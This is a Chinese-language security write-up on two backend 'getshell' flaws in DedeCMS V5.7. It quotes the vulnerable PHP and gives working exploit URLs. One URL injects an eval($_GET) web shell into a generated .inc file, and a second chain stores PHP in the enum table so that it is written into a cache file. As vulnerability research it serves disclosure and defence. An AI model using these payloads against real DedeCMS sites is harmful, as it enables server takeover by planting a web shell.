Dedecms V5.7 Backend Getshell
在这个文章里我把两个洞一起写出来。
第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 else if ($action == 'getfiles' ){ if (!isset ($refiles)) { ShowMsg("你没进行任何操作!" ,"sys_verifies.php" ); exit (); } $cacheFiles = DEDEDATA.'/modifytmp.inc' ; $fp = fopen($cacheFiles, 'w' ); fwrite($fp, '<' .'?php' ."\r\n" ); fwrite($fp, '$tmpdir = "' .$tmpdir.'";' ."\r\n" ); $dirs = array (); $i = -1 ; $adminDir = preg_replace("#(.*)[\/\\\\]#" , "" , dirname(__FILE__ )); foreach ($refiles as $filename) { $filename = substr($filename,3 ,strlen($filename)-3 ); if (preg_match("#^dede/#i" , $filename)) { $curdir = GetDirName( preg_replace("#^dede/#i" , $adminDir.'/' , $filename) ); } else { $curdir = GetDirName($filename); } if ( !isset ($dirs[$curdir]) ) { $dirs[$curdir] = TestIsFileDir($curdir); } $i++; fwrite($fp, '$files[' .$i.'] = "' .$filename.'";' ."\r\n" ); } fwrite($fp, '$fileConut = ' .$i.';' ."\r\n" ); fwrite($fp, '?' .'>' ); fclose($fp); $dirinfos = '' ; if ($i > -1 ) { $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">' ; $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\r\n" ; foreach ($dirs as $curdir) { $dirinfos .= $curdir['name' ]." 状态:" .($curdir['writeable' ] ? "[√正常]" : "<font color='red'>[×不可写]</font>" )."<br />\r\n" ; } $dirinfos .= "</td></tr>\r\n" ; } $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n" ; include (DEDEADMIN.'/templets/sys_verifies_getfiles.htm' ); exit (); }
从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。
全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。
观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=";eval($_GET[a]);die();//
此时写入shell成功,触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();
第二个的思路比第一个稍微绕一点,但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处:
1 2 3 4 5 6 7 8 else if ($step == 2 ){ include_once (DEDEINC."/enums.func.php" ); WriteEnumsCache(); ShowMsg("成功更新枚举缓存,准备更新调用缓存..." , "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc" ); exit (); }
跟进WrtieEnumsCache():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function WriteEnumsCache ($egroup='' ) { global $dsql; $egroups = array (); if ($egroup=='' ) { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup " ); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup " ); } $dsql->Execute('enum' ); while ($nrow = $dsql->GetArray('enum' )) { $egroups[] = $nrow['egroup' ]; } foreach ($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/' .$egroup.'.php' ; $fp = fopen($cachefile,'w' ); fwrite($fp,'<' ."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n" ); $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC " ); $dsql->Execute('enum' ); $issign = -1 ; $tenum = false ; while ($nrow = $dsql->GetArray('enum' )) { fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n" ); if ($issign==-1 ) $issign = $nrow['issign' ]; if ($nrow['issign' ]==2 ) $tenum = true ; } if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; " ); fwrite($fp,'?' .'>' ); fclose($fp); if (empty ($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!' ; }
可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:
dede/stepselect_main.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 else if ($action=='addenum_save' ){ if (empty ($ename) || empty ($egroup)) { Showmsg("类别名称或组名称不能为空!" ,"-1" ); exit (); } if ($issign == 1 || $topvalue == 0 ) $enames = explode(',' , $ename); foreach ($enames as $ename){ $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC " ); if (!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500 ); else $disorder = $evalue = $arr['disorder' ] + ($issign==1 ? 1 : 500 ); $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); " ); } echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); " ; die (); WriteEnumsCache($egroup); ShowMsg("成功添加枚举分类!" .$dsql->GetError(), $ENV_GOBACK_URL); exit (); }
因此传入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok